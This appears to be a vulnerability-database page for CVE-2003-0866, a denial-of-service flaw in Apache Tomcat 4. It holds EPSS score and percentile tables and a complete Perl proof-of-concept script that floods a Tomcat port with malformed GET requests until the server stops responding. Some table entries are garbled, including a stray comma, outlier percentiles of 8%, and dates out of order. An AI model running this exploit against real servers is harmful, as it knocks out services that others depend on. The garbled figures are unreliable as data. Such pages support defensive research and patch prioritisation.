CVE-2003-0866 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	33.04%	–	–
2022-04-10	–	–	33.04%	–	–
2023-03-12	–	–	–	0.53%	–
2023-04-30	–	–	–	0.63%	–
2023-09-17	–	–	–	0.63%	–
2024-02-11	–	–	–	0.63%	–
2024-02-25	–	–	–	0.63%	–
2024-03-31	–	–	–	0.47%	–
2024-06-02	–	–	–	0.47%	–
2024-06-16	–	–	–	0.47%	–
2024-08-25	–	–	–	0.59%	–
2024-12-22	–	–	–	0.7%	–
2025-03-02	–	–	–	0.88%	–
2025-01-19	–	–	–	0.7%	–
2025-03-09	–	–	–	0.88%	–
2025-03-18	–	–	–	–	20.41%
2025-03-18	–	–	–	–	20.41,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	97%
2022-04-10	98%
2023-03-12	73%
2023-04-30	76%
2023-09-17	77%
2024-02-11	78%
2024-02-25	79%
2024-03-31	75%
2024-06-02	75%
2024-06-16	76%
2024-08-25	79%
2024-12-22	8%
2025-03-02	83%
2025-01-19	8%
2025-03-09	83%
2025-03-18	95%
2025-03-18	95%

source: https://www.securityfocus.com/bid/8824/info Apache Tomcat 4 has been reported prone to a remotely triggered denial-of-service vulnerability when handling undisclosed non-HTTP request types. When certain non-HTTP request types are handled by the Tomcat HTTP connector, the Tomcat server will reject subsequent requests on the affected port until the service is restarted. #!/usr/bin/perl # # PoC - DoS Exploit for Apache Tomcat 4 # by Oliver Karow - oliver.karowNOSPAM__AT__gmx.de # http://www.oliverkarow.de/research/tomcat_crash.txt # # Run this script against the Tomcat Admin Port. After execution, the page will not be accessible any more. # The port is still open and accepting connections, but not responding with content. To verify, connect with your browser # to the port. # use IO::Socket; $ip="192.168.0.16"; $port="8080"; $counter =0; @attackpattern=("'"); for ($x=0;$x<=400;$x++){ $headerLine="GET /dummy/dontexist.pl? HTTP/1.0\n\n"; @temp=split(/(\/)/,$headerLine); foreach (@temp){ $replaceme=$_; foreach(@attackpattern){ $attack=$_; $newheaderline=$headerLine; $newheaderline=~ s/$replaceme/$attack/i; $remote=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip, PeerPort=>$port, Timeout=>5) or die "Connection not possible\n"; print $remote $newheaderline; print "\nRequest: ".$counter++." \t".$newheaderline."\n"; $remote->close; } } }